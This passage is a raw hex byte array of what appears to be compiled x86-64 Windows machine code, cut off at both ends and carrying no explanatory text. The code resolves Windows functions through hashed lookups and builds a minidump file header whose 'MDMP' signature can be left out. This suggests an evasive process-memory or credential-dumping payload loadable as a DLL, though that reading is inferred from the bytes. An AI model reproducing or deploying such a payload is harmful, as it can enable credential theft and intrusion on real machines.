8,0x81,0x8F,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x35,0x48,0x8B,0x45,0x10,0x4C,0x8B,0x45,0xF0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD0,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x75,0x10,0x48,0x8B,0x05,0x7D,0xAD,0x00,0x00,0xFF,0xD0,0x3D,0x17,0x02,0x00,0x00,0x75,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x18,0x42,0x00,0x00,0x48,0x89,0xC1,0xE8,0xCB,0x90,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x8F,0x97,0x38,0x8D,0x48,0x89,0xC1,0xE8,0xD9,0x8E,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x87,0x00,0x00,0x00,0x48,0x8B,0x05,0xF5,0xAC,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x00,0x10,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xE6,0xAC,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0x28,0x48,0x89,0x02,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x57,0x48,0x8B,0x45,0x28,0x48,0x8B,0x10,0x48,0x8D,0x4D,0xEC,0x48,0x8B,0x45,0x20,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x4C,0x8B,0x55,0xF0,0x49,0x89,0xC9,0x41,0xB8,0x00,0x10,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x26,0x8B,0x45,0xEC,0x85,0xC0,0x74,0x1F,0x48,0x83,0x7D,0x30,0x00,0x74,0x09,0x8B,0x55,0xEC,0x48,0x8B,0x45,0x30,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xFC,0x00,0x75,0x3B,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x2F,0x48,0x8B,0x45,0x28,0x48,0x8B,0x18,0x48,0x8B,0x05,0x4E,0xAC,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x4A,0xAC,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x45,0x28,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x38,0x48,0x8D,0x6C,0x24,0x30,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0x4C,0x89,0x4D,0x38,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0xEB,0xAB,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x00,0x10,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xDC,0xAB,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x0F,0x84,0xBF,0x00,0x00,0x00,0x48,0x8D,0x55,0xF0,0x48,0x8B,0x45,0x20,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x45,0xFE,0xFF,0xFF,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x0F,0x84,0x9F,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x85,0xC0,0x0F,0x85,0x94,0x00,0x00,0x00,0x48,0x83,0x7D,0x28,0x00,0x74,0x50,0x48,0x8B,0x05,0x82,0xAB,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x05,0x01,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x73,0xAB,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0x28,0x48,0x89,0x02,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x5D,0x48,0x8B,0x45,0xF0,0x48,0x8D,0x50,0x08,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x41,0xB8,0x05,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB9,0x19,0x00,0x00,0x48,0x83,0x7D,0x30,0x00,0x74,0x10,0x48,0x8B,0x45,0xF0,0x8B,0x90,0x30,0x08,0x00,0x00,0x48,0x8B,0x45,0x30,0x89,0x10,0x48,0x83,0x7D,0x38,0x00,0x74,0x10,0x48,0x8B,0x45,0xF0,0x8B,0x90,0x34,0x08,0x00,0x00,0x48,0x8B,0x45,0x38,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x21,0x48,0x8B,0x5D,0xF0,0x48,0x8B,0x05,0xE4,0xAA,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xE0,0xAA,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x38,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x79,0x3F,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2C,0x8E,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x6F,0x1B,0x7C,0xED,0x48,0x89,0xC1,0xE8,0x3A,0x8C,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x4A,0x4C,0x8D,0x45,0xEC,0x8B,0x4D,0x20,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x4C,0x8B,0x55,0xF0,0x4D,0x89,0xC1,0x41,0x89,0xC8,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x75,0x10,0x48,0x8B,0x05,0x21,0xAA,0x00,0x00,0xFF,0xD0,0x3D,0xE5,0x03,0x00,0x00,0x75,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0xD5,0xA9,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x38,0x08,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC6,0xA9,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x66,0x48,0x8B,0x45,0xF0,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x8D,0x48,0x08,0x48,0x8B,0x45,0x18,0x41,0xB8,0x05,0x01,0x00,0x00,0x48,0x89,0xC2,0xE8,0x0D,0x18,0x00,0x00,0x48,0x8B,0x45,0xF0,0x8B,0x55,0x20,0x89,0x90,0x30,0x08,0x00,0x00,0x48,0x8B,0x45,0xF0,0x8B,0x55,0x28,0x89,0x90,0x34,0x08,0x00,0x00,0x48,0x8B,0x55,0xF0,0x48,0x8B,0x45,0x10,0x41,0xB8,0x38,0x08,0x00,0x00,0x48,0x89,0xC1,0xE8,0x99,0xFE,0xFF,0xFF,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x21,0x48,0x8B,0x05,0x39,0xA9,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x31,0xA9,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0x10,0x00,0x74,0x07,0x48,0x83,0x7D,0x10,0xFF,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x60,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xC5,0x3D,0x00,0x00,0x48,0x89,0xC1,0xE8,0x78,0x8C,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xEA,0x7A,0xA4,0xAE,0x48,0x89,0xC1,0xE8,0x86,0x8A,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x1F,0x48,0x8B,0x45,0x10,0x48,0x8B,0x55,0xF0,0x48,0x89,0xC1,0xFF,0xD2,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0x55,0xA8,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x38,0x08,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x46,0xA8,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x3C,0x48,0x8B,0x45,0xF0,0xC7,0x00,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x8B,0x55,0x18,0x89,0x50,0x08,0x48,0x8B,0x55,0xF0,0x48,0x8B,0x45,0x10,0x41,0xB8,0x38,0x08,0x00,0x00,0x48,0x89,0xC1,0xE8,0x43,0xFD,0xFF,0xFF,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x21,0x48,0x8B,0x05,0xE3,0xA7,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xDB,0xA7,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x38,0x48,0x8D,0x6C,0x24,0x30,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xF0,0x48,0x8B,0x45,0x20,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1B,0xFA,0xFF,0xFF,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x21,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x83,0xF8,0x01,0x75,0x19,0x48,0x8B,0x45,0xF0,0x8B,0x50,0x08,0x48,0x8B,0x45,0x28,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x21,0x48,0x8B,0x5D,0xF0,0x48,0x8B,0x05,0x3F,0xA7,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x3B,0xA7,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x38,0x5B,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x57,0x53,0x48,0x81,0xEC,0x20,0x03,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0xC7,0x85,0x80,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x78,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x74,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x70,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0x40,0x02,0x00,0x00,0x0F,0x11,0x85,0x50,0x02,0x00,0x00,0x66,0x0F,0xD6,0x85,0x60,0x02,0x00,0x00,0xC7,0x85,0x9C,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x94,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x98,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x38,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x30,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x88,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0x20,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x45,0x10,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x18,0x00,0x00,0x00,0x00,0x48,0x8D,0x85,0x80,0x02,0x00,0x00,0x49,0x89,0xC0,0xBA,0x00,0x00,0x00,0x00,0x48,0x8D,0x05,0xA1,0x3B,0x00,0x00,0x48,0x89,0xC1,0xE8,0x99,0xF4,0xFF,0xFF,0x89,0x85,0x94,0x02,0x00,0x00,0x83,0xBD,0x94,0x02,0x00,0x00,0x00,0x0F,0x84,0xE1,0x02,0x00,0x00,0x48,0x8D,0x05,0xAF,0x3B,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE7,0xF2,0xFF,0xFF,0x89,0x85,0x94,0x02,0x00,0x00,0x83,0xBD,0x94,0x02,0x00,0x00,0x00,0x0F,0x84,0xC2,0x02,0x00,0x00,0x48,0x8B,0x85,0x80,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x01,0xF8,0xFF,0xFF,0x89,0x85,0x94,0x02,0x00,0x00,0x83,0xBD,0x94,0x02,0x00,0x00,0x00,0x0F,0x84,0xA3,0x02,0x00,0x00,0x48,0x8B,0x85,0x80,0x02,0x00,0x00,0x4C,0x8D,0x85,0x70,0x02,0x00,0x00,0x48,0x8D,0x8D,0x74,0x02,0x00,0x00,0x48,0x8D,0x95,0x78,0x02,0x00,0x00,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x9D,0xF9,0xFF,0xFF,0x89,0x85,0x94,0x02,0x00,0x00,0x83,0xBD,0x94,0x02,0x00,0x00,0x00,0x0F,0x84,0x69,0x02,0x00,0x00,0x48,0x8D,0x45,0x20,0x48,0x89,0x45,0x18,0x66,0xC7,0x45,0x10,0x00,0x00,0x66,0xC7,0x45,0x12,0x00,0x00,0x48,0x8B,0x95,0x78,0x02,0x00,0x00,0x48,0x8D,0x45,0x10,0x48,0x89,0xC1,0xE8,0x2E,0x74,0xFF,0xFF,0x48,0xC7,0x85,0x48,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x58,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x0F,0xB7,0x45,0x10,0x66,0x85,0xC0,0x0F,0x84,0x22,0x02,0x00,0x00,0x83,0xBD,0x98,0x02,0x00,0x00,0x00,0x75,0x18,0xE8,0x78,0x83,0xFF,0xFF,0x89,0x85,0x98,0x02,0x00,0x00,0x83,0xBD,0x98,0x02,0x00,0x00,0x00,0x0F,0x84,0x04,0x02,0x00,0x00,0x48,0x8D,0x45,0x10,0x48,0x89,0xC1,0xE8,0x8A,0x76,0xFF,0xFF,0x85,0xC0,0x0F,0x84,0xF3,0x01,0x00,0x00,0x4C,0x8B,0x85,0x78,0x02,0x00,0x00,0x8B,0x8D,0x74,0x02,0x00,0x00,0x44,0x8B,0x8D,0x70,0x02,0x00,0x00,0x8B,0x95,0x98,0x02,0x00,0x00,0x48,0x8D,0x85,0x38,0x02,0x00,0x00,0xC7,0x84,0x24,0x88,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x84,0x24,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x78,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x70,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x68,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x60,0x00,0x00,0x00,0x00,0x4C,0x89,0x44,0x24,0x58,0x89,0x4C,0x24,0x50,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x40,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x58,0x93,0xFF,0xFF,0x89,0x85,0x94,0x02,0x00,0x00,0x83,0xBD,0x94,0x02,0x00,0x00,0x00,0x0F,0x84,0x42,0x01,0x00,0x00,0x8B,0x85,0x74,0x02,0x00,0x00,0x85,0xC0,0x74,0x1E,0xC7,0x85,0x60,0x02,0x00,0x00,0x4D,0x44,0x4D,0x50,0x66,0xC7,0x85,0x64,0x02,0x00,0x00,0x93,0xA7,0x66,0xC7,0x85,0x66,0x02,0x00,0x00,0x00,0x00,0xEB,0x2C,0x48,0x8D,0x85,0x40,0x02,0x00,0x00,0x48,0x8D,0x48,0x26,0x48,0x8D,0x85,0x40,0x02,0x00,0x00,0x48,0x8D,0x50,0x24,0x48,0x8D,0x85,0x40,0x02,0x00,0x00,0x48,0x83,0xC0,0x20,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xC8,0x7C,0xFF,0xFF,0x48,0xC7,0x85,0x30,0x02,0x00,0x00,0x00,0x00,0x80,0x0C,0x48,0x8D,0x85,0x30,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD6,0x7B,0xFF,0xFF,0x48,0x89,0x85,0x88,0x02,0x00,0x00,0x48,0x83,0xBD,0x88,0x02,0x00,0x00,0x00,0x0F,0x84,0xC2,0x00,0x00,0x00,0x48,0x8B,0x85,0x38,0x02,0x00,0x00,0x48,0x89,0x85,0x40,0x02,0x00,0x00,0x48,0x8B,0x85,0x88,0x02,0x00,0x00,0x48,0x89,0x85,0x48,0x02,0x00,0x00,0xC7,0x85,0x50,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x30,0x02,0x00,0x00,0x48,0x89,0x85,0x58,0x02,0x00,0x00,0x48,0x8D,0x85,0x40,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x89,0xEF,0xFF,0xFF,0x89,0x85,0x94,0x02,0x00,0x00,0x83,0xBD,0x94,0x02,0x00,0x00,0x00,0x74,0x73,0x8B,0x85,0x74,0x02,0x00,0x00,0x85,0xC0,0x75,0x17,0x8B,0x85,0x50,0x02,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0x48,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAC,0x7B,0xFF,0xFF,0x8B,0x8D,0x50,0x02,0x00,0x00,0x48,0x8B,0x95,0x48,0x02,0x00,0x00,0x48,0x8D,0x45,0x10,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x54,0x73,0xFF,0xFF,0x89,0x85,0x94,0x02,0x00,0x00,0x83,0xBD,0x94,0x02,0x00,0x00,0x00,0x74,0x2A,0xC7,0x85,0x9C,0x02,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x1F,0x90,0xEB,0x1C,0x90,0xEB,0x19,0x90,0xEB,0x16,0x90,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x85,0x48,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x22,0x48,0x8B,0x85,0x58,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x16,0x48,0x8B,0x95,0x58,0x02,0x00,0x00,0x48,0x8B,0x85,0x48,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x37,0x7B,0xFF,0xFF,0x48,0x8B,0x85,0x38,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x38,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC3,0xC1,0xFF,0xFF,0x83,0xBD,0x9C,0x02,0x00,0x00,0x00,0x75,0x0F,0x48,0x8B,0x85,0x78,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x23,0x75,0xFF,0xFF,0x48,0x8B,0x85,0x78,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x24,0x48,0x8B,0x9D,0x78,0x02,0x00,0x00,0x48,0x8B,0x05,0xB3,0xA2,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xAF,0xA2,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x85,0x80,0x02,0x00,0x00,0x8B,0x95,0x9C,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x07,0xFA,0xFF,0xFF,0x48,0x8B,0x85,0x80,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x80,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x57,0xF9,0xFF,0xFF,0x48,0x8B,0x85,0x80,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x80,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x30,0xC1,0xFF,0xFF,0x8B,0x85,0x9C,0x02,0x00,0x00,0x48,0x81,0xC4,0x20,0x03,0x00,0x00,0x5B,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x83,0x7D,0x18,0x03,0x74,0x25,0x83,0x7D,0x18,0x03,0x77,0x26,0x83,0x7D,0x18,0x02,0x74,0x1C,0x83,0x7D,0x18,0x02,0x77,0x1A,0x83,0x7D,0x18,0x00,0x74,0x13,0x83,0x7D,0x18,0x01,0x75,0x0E,0xE8,0xED,0xFA,0xFF,0xFF,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x8B,0x05,0x21,0x20,0x00,0x00,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x26,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x05,0x07,0x20,0x00,0x00,0x48,0x8D,0x50,0x08,0x48,0x8B,0x40,0x08,0x48,0x89,0x15,0xF8,0x1F,0x00,0x00,0x48,0x85,0xC0,0x75,0xE3,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x66,0x90,0x55,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x48,0x8B,0x15,0x0D,0x39,0x00,0x00,0x48,0x8B,0x02,0x89,0xC1,0x83,0xF8,0xFF,0x74,0x43,0x85,0xC9,0x74,0x22,0x89,0xC8,0x83,0xE9,0x01,0x48,0x8D,0x1C,0xC2,0x48,0x29,0xC8,0x48,0x8D,0x74,0xC2,0xF8,0x66,0x0F,0x1F,0x44,0x00,0x00,0xFF,0x13,0x48,0x83,0xEB,0x08,0x48,0x39,0xF3,0x75,0xF5,0x48,0x8D,0x0D,0x66,0xFF,0xFF,0xFF,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xE9,0xDA,0x32,0xFF,0xFF,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x31,0xC0,0x66,0x0F,0x1F,0x44,0x00,0x00,0x44,0x8D,0x40,0x01,0x89,0xC1,0x4A,0x83,0x3C,0xC2,0x00,0x4C,0x89,0xC0,0x75,0xF0,0xEB,0xA3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x8B,0x05,0xEA,0x81,0x00,0x00,0x85,0xC0,0x74,0x06,0xC3,0x0F,0x1F,0x44,0x00,0x00,0xC7,0x05,0xD6,0x81,0x00,0x00,0x01,0x00,0x00,0x00,0xE9,0x61,0xFF,0xFF,0xFF,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x83,0xFA,0x03,0x74,0x13,0x85,0xD2,0x74,0x0F,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x0F,0x1F,0x40,0x00,0xE8,0x8B,0x07,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x48,0x8B,0x05,0x2D,0x38,0x00,0x00,0x83,0x38,0x02,0x74,0x06,0xC7,0x00,0x02,0x00,0x00,0x00,0x83,0xFA,0x02,0x74,0x15,0x83,0xFA,0x01,0x74,0x48,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0x0F,0x1F,0x00,0x48,0x8D,0x1D,0x11,0xAF,0x00,0x00,0x48,0x8D,0x35,0x0A,0xAF,0x00,0x00,0x48,0x39,0xF3,0x74,0xDD,0x0F,0x1F,0x44,0x00,0x00,0x48,0x8B,0x03,0x48,0x85,0xC0,0x74,0x02,0xFF,0xD0,0x48,0x83,0xC3,0x08,0x48,0x39,0xF3,0x75,0xED,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0xE8,0x0B,0x07,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x0F,0x1F,0x00,0x31,0xC0,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x56,0x53,0x48,0x83,0xE